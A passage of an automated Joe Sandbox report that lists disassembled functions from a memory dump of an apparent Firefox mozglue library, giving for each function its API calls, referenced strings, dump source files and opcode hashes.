Part of subcall function 6C1CEB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C1FD7F3), ref: 6C1CEBC3
Part of subcall function 6C1CEB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C1FD7F3), ref: 6C1CEBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C1CEDC1

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: 0e7c7a7ab91c2d8433fde47b5ee4f1f05275f9047fb5abb5681733bb0d9f734c
Instruction ID: 0fe71b64617bf639d518d3035bdb947d9fd5a178fa32a12f8debe5136ffc5bf3
Opcode Fuzzy Hash: 0e7c7a7ab91c2d8433fde47b5ee4f1f05275f9047fb5abb5681733bb0d9f734c
Instruction Fuzzy Hash: 7B51D771E053148BDB00DF68C8467EEB7B0AF69758F44851DE85567780E7386A48CBE3

Function 6C1D0A60 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 140COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000000C,?,6C22B80C,00000000,?,?,6C1D003B,?), ref: 6C1D0A72

Part of subcall function 6C1DCA10: malloc.MOZGLUE(?), ref: 6C1DCA26

moz_xmalloc.MOZGLUE(?,?,6C22B80C,00000000,?,?,6C1D003B,?), ref: 6C1D0AF5
free.MOZGLUE(00000000,?,?,6C22B80C,00000000,?,?,6C1D003B,?), ref: 6C1D0B9F
free.MOZGLUE(?,?,?,6C22B80C,00000000,?,?,6C1D003B,?), ref: 6C1D0BDB
free.MOZGLUE(00000000,?,?,6C22B80C,00000000,?,?,6C1D003B,?), ref: 6C1D0BED
mozalloc_abort.MOZGLUE(alloc overflow,?,6C22B80C,00000000,?,?,6C1D003B,?), ref: 6C1D0C0A

Strings

alloc overflow, xrefs: 6C1D0C05

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: free$moz_xmalloc$mallocmozalloc_abort
String ID: alloc overflow
API String ID: 1471638834-749304246
Opcode ID: b235a6df77efe25443539d1031f1c72658ac0ccfc9d71446e2ee073ac1807b2a
Instruction ID: 7d1b7a4c80fe3bd0b2c4211fe9802b28c99fb1206779c21789815d5ce296baef
Opcode Fuzzy Hash: b235a6df77efe25443539d1031f1c72658ac0ccfc9d71446e2ee073ac1807b2a
Instruction Fuzzy Hash: 0F51CFB8A043468FDB24CF18D890B6EB3B5FF45348F1649AEC84A9BB01EB71B544CB51

Function 6C23A520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C23A565

Part of subcall function 6C23A470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C23A4BE
Part of subcall function 6C23A470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C23A4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C23A65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C23A6B6

Strings

z, xrefs: 6C23A6AE
0, xrefs: 6C23A5FB

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 4d9231881952e1e59c31ab9d4f99a9d9880571d8c42c4946be64384624c6e5fa
Instruction ID: 13621f73bd377e7d351f437ef6309e9227e4f997a394fd7415cfa6613f9620e9
Opcode Fuzzy Hash: 4d9231881952e1e59c31ab9d4f99a9d9880571d8c42c4946be64384624c6e5fa
Instruction Fuzzy Hash: F04139B1A19749DFC741DF28C080A9ABBE4BF89354F409A2EF89987650E730D549CB92

Function 6C1C78C0 Relevance: 12.3, APIs: 8, Instructions: 320COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,6C24008B), ref: 6C1C7B89
free.MOZGLUE(?,6C24008B), ref: 6C1C7BAC

Part of subcall function 6C1C78C0: free.MOZGLUE(?,6C24008B), ref: 6C1C7BCF

free.MOZGLUE(?,6C24008B), ref: 6C1C7BF2

Part of subcall function 6C1E5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C1E5EDB
Part of subcall function 6C1E5E90: memset.VCRUNTIME140(ew"l,000000E5,?), ref: 6C1E5F27
Part of subcall function 6C1E5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C1E5FB2

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: free$CriticalSection$EnterLeavememset
String ID:
API String ID: 3977402767-0
Opcode ID: 091f0ce9f5f1b93a7008ecca97736a5c4a17a3a6eb456c0a5fc6e25550618f66
Instruction ID: 1a2e69d8da6f0305135b10c228340e7b3afbb27a826f73dafe7791d98bc8c4cd
Opcode Fuzzy Hash: 091f0ce9f5f1b93a7008ecca97736a5c4a17a3a6eb456c0a5fc6e25550618f66
Instruction Fuzzy Hash: D2C1B731F011198BDB24CB28CC90BADB772AF61314F1542DAE51AA7BC0C7799E858F92

Function 6C209420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C1FAB89: EnterCriticalSection.KERNEL32(6C24E370,?,?,?,6C1C34DE,6C24F6CC,?,?,?,?,?,?,?,6C1C3284), ref: 6C1FAB94
Part of subcall function 6C1FAB89: LeaveCriticalSection.KERNEL32(6C24E370,?,6C1C34DE,6C24F6CC,?,?,?,?,?,?,?,6C1C3284,?,?,6C1E56F6), ref: 6C1FABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C1D4A68), ref: 6C20945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C209470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C209482
__Init_thread_footer.LIBCMT ref: 6C20949F

Strings

MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C20946B
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C209459
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C20947D

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 16b4090c4e15d6b05ea125c735862e7a54b2030561d785b06543326328991be1
Instruction ID: b8fb1a72a139f8385ffcc7640830b8ea595f3f0bf699e3580be81a0acadefc71
Opcode Fuzzy Hash: 16b4090c4e15d6b05ea125c735862e7a54b2030561d785b06543326328991be1
Instruction Fuzzy Hash: FE012830B001098BD710FB5CD808A4733B5AB4536EF058537EE078AB81EFA1D4B5C957

Function 6C211220 Relevance: 12.2, APIs: 8, Instructions: 173threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C21124B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C211268
GetCurrentThreadId.KERNEL32 ref: 6C2112DA
InitializeConditionVariable.KERNEL32(?), ref: 6C21134A
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6C21138A
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6C211431

Part of subcall function 6C208AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6C221563), ref: 6C208BD5

free.MOZGLUE(?), ref: 6C21145A
free.MOZGLUE(?), ref: 6C21146C

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: bc3c9ce609396823b2fe6702dcd819388e4b20af0a28736538a56264284be9b2
Instruction ID: d44906f382814c4674d83c1551308bddc9ff49d6f093dbd78803f84b2ea3a8b6
Opcode Fuzzy Hash: bc3c9ce609396823b2fe6702dcd819388e4b20af0a28736538a56264284be9b2
Instruction Fuzzy Hash: CE610375A083488BDB10DF25C884BAAB7F5BFD5308F04891DEE9947B11EB70E499CB41

Function 6C210F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C210F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C210F88
GetCurrentThreadId.KERNEL32 ref: 6C210FF7
InitializeConditionVariable.KERNEL32(?), ref: 6C211067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6C2110A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6C21114B

Part of subcall function 6C208AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6C221563), ref: 6C208BD5

free.MOZGLUE(?), ref: 6C211174
free.MOZGLUE(?), ref: 6C211186

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: cc62fe660fe51e9355703d8f214be104fe5c6cc193b35769aae37977be412215
Instruction ID: 0ee129061e82ca2149190fc74dfe2c5ea8b51a4e168b93047d82cf059b053897
Opcode Fuzzy Hash: cc62fe660fe51e9355703d8f214be104fe5c6cc193b35769aae37977be412215
Instruction Fuzzy Hash: CB61E175A083488BDB10DF24C884BAAB7F5BFC5318F04891DEE9947B51EB71E489CB81

Function 6C1C4B50 Relevance: 12.2, APIs: 8, Instructions: 164COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,6C1C4667,?,?,?,?,?,?,?,?,6C204843,?), ref: 6C1C4C63
free.MOZGLUE(?,?,?,6C1C4667,?,?,?,?,?,?,?,?,6C204843,?), ref: 6C1C4C89
free.MOZGLUE(?,?,?,6C1C4667,?,?,?,?,?,?,?,?,6C204843,?), ref: 6C1C4CAC
free.MOZGLUE(?,?,?,?,?,?,?,6C204843,?), ref: 6C1C4CCF
free.MOZGLUE(?,?,?,?,?,?,?,?,6C204843,?), ref: 6C1C4CF2
free.MOZGLUE(?,?,?,?,?,?,?,?,6C204843,?), ref: 6C1C4D15
free.MOZGLUE(?,?,?,?,?,?,?,?,6C204843,?), ref: 6C1C4D38
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6C1C4667,?,?,?,?,?,?,?,?,6C204843,?), ref: 6C1C4DD1

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: free$_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1497960986-0
Opcode ID: bf28c80d246d5aeaf3a9df5b97a785a4dbbb576beb95cf9b1126aa6d97724f50
Instruction ID: 990c6ebfbbd99321d2da58b5e7a0deaa027da624190ddb3905a82467fd390b97
Opcode Fuzzy Hash: bf28c80d246d5aeaf3a9df5b97a785a4dbbb576beb95cf9b1126aa6d97724f50
Instruction Fuzzy Hash: AF517471608A408FE3349A3CD9A477AB6A1AF21328F544B1CF1A7CBFD1D739A5448B47

Function 6C1CE9C0 Relevance: 12.1, APIs: 8, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,6C1D1999), ref: 6C1CEA39
memcpy.VCRUNTIME140(?,?,7FFFFFFE), ref: 6C1CEA5C
memset.VCRUNTIME140(7FFFFFFE,00000000,?), ref: 6C1CEA76
moz_xmalloc.MOZGLUE(-00000001,?,?,6C1D1999), ref: 6C1CEA9D
memcpy.VCRUNTIME140(?,7FFFFFFE,?,?,?,6C1D1999), ref: 6C1CEAC2
memset.VCRUNTIME140(?,00000000,00000000,?,?,?,?), ref: 6C1CEADC
free.MOZGLUE(7FFFFFFE,?,?,?,?), ref: 6C1CEB0B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?), ref: 6C1CEB27

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: memcpymemsetmoz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 706364981-0
Opcode ID: 5cea940d9c2e0cee971ab1dbc4f9055f054b65695606e33934db991aecfc71c1
Instruction ID: 41f41d383100e6af89bba7b807895f1b55d23bd297a43cd160db0c28ac03e1ae
Opcode Fuzzy Hash: 5cea940d9c2e0cee971ab1dbc4f9055f054b65695606e33934db991aecfc71c1
Instruction Fuzzy Hash: F041D4B1A002159FDB14CF68CC81AAE77A4FF65358F250629F815D7794E734EA048BD2

Function 6C21D310 Relevance: 12.1, APIs: 8, Instructions: 132threadtimeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C21D36B
GetCurrentThreadId.KERNEL32(?), ref: 6C21D38A
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C21D39D
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C21D3E1
free.MOZGLUE ref: 6C21D408

Part of subcall function 6C1FCBE8: GetCurrentProcess.KERNEL32(?,6C1C31A7), ref: 6C1FCBF1
Part of subcall function 6C1FCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C1C31A7), ref: 6C1FCBFA

GetCurrentThreadId.KERNEL32 ref: 6C21D44B
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C21D457
ReleaseSRWLockExclusive.KERNEL32(?,?), ref: 6C21D472

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: ExclusiveLock$Current$AcquireProcessReleaseThread$StampTerminateTimeV01@@Value@mozilla@@free
String ID:
API String ID: 3843575911-0
Opcode ID: 889b6d2adf0bb27e25cbb3f27a069131397f29bc8851c802bf5fd03e7e2aa0e1
Instruction ID: 79f5ef5cd3bdbefc7d9461096138efa53584324b981f1578fc43aaf9d9000656
Opcode Fuzzy Hash: 889b6d2adf0bb27e25cbb3f27a069131397f29bc8851c802bf5fd03e7e2aa0e1
Instruction Fuzzy Hash: 4F41AD75604709CFC714DF65C448A9BB7F5BF85318F108929EA5287B80DB71A848CB91

Function 6C1CB630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C1CB61E,?,?,?,?,?,00000000), ref: 6C1CB6AC

Part of subcall function 6C1DCA10: malloc.MOZGLUE(?), ref: 6C1DCA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C1CB61E,?,?,?,?,?,00000000), ref: 6C1CB6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C1CB61E,?,?,?,?,?,00000000), ref: 6C1CB6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C1CB61E,?,?,?,?,?,00000000), ref: 6C1CB70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C1CB61E,?,?,?,?,?,00000000), ref: 6C1CB71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C1CB61E), ref: 6C1CB73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C1CB61E,?,?,?,?,?,00000000), ref: 6C1CB760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C1CB61E,?,?,?,?,?,00000000), ref: 6C1CB79A

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: d68780dc3d4a06a2db3b646c625e27e2e692580f0c536164e4ccf350d33c5df4
Instruction ID: 1b6b06d9e2dcc9d5f87c03d601926cfc046b989b2114b5469897a1f59df942f9
Opcode Fuzzy Hash: d68780dc3d4a06a2db3b646c625e27e2e692580f0c536164e4ccf350d33c5df4
Instruction Fuzzy Hash: 9F41D7B2E002258FCB00DF68DC506AEB7B5BB54324F250669FC25E7780E735A9148BD2

Function 6C1CEF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6C245104), ref: 6C1CEFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C1CEFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C1CEFEC
free.MOZGLUE(?), ref: 6C1CF00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C1CF02E
memcpy.VCRUNTIME140(00000000,?), ref: 6C1CF041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C1CF065
moz_xmalloc.MOZGLUE ref: 6C1CF072

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: b978f2ee011c8557517d5248a150b3dedb4628795b59b3215741fd68d77e487f
Instruction ID: 9f8d3c524481ca7c613bd6fb96e9902beb14c0fa553f612d1924b455f4a94e5e
Opcode Fuzzy Hash: b978f2ee011c8557517d5248a150b3dedb4628795b59b3215741fd68d77e487f
Instruction Fuzzy Hash: F94114B1B002159FCB08CF68D8919AE7365AF94324B24422CF825CB794EB31E915C7E2

Function 6C23B540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C23B5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C23B5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C23B5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C23B5F4
__Init_thread_footer.LIBCMT ref: 6C23B605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C23B61F
std::_Facet_Register.LIBCPMT ref: 6C23B631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C23B655

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 637d505624be01b84b148f2a9487d731e2d6201420dd25154213f8767f823ba4
Instruction ID: c6d39c057812711acf9eb57682417820aee654937652299d42b75fb1adba2c59
Opcode Fuzzy Hash: 637d505624be01b84b148f2a9487d731e2d6201420dd25154213f8767f823ba4
Instruction Fuzzy Hash: 7631B575B00619CBCB04EF68C85C9AFB7B5FF86329B144565ED1697780DB30A806CF91

Function 6C206590 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C1FFA80: GetCurrentThreadId.KERNEL32 ref: 6C1FFA8D
Part of subcall function 6C1FFA80: AcquireSRWLockExclusive.KERNEL32(6C24F448), ref: 6C1FFA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C206727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C2067C8

Part of subcall function 6C214290: memcpy.VCRUNTIME140(?,?,6C222003,6C220AD9,?,6C220AD9,00000000,?,6C220AD9,?,00000004,?,6C221A62,?,6C222003,?), ref: 6C2142C4

Strings

data, xrefs: 6C206593
v$l, xrefs: 6C20696C

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
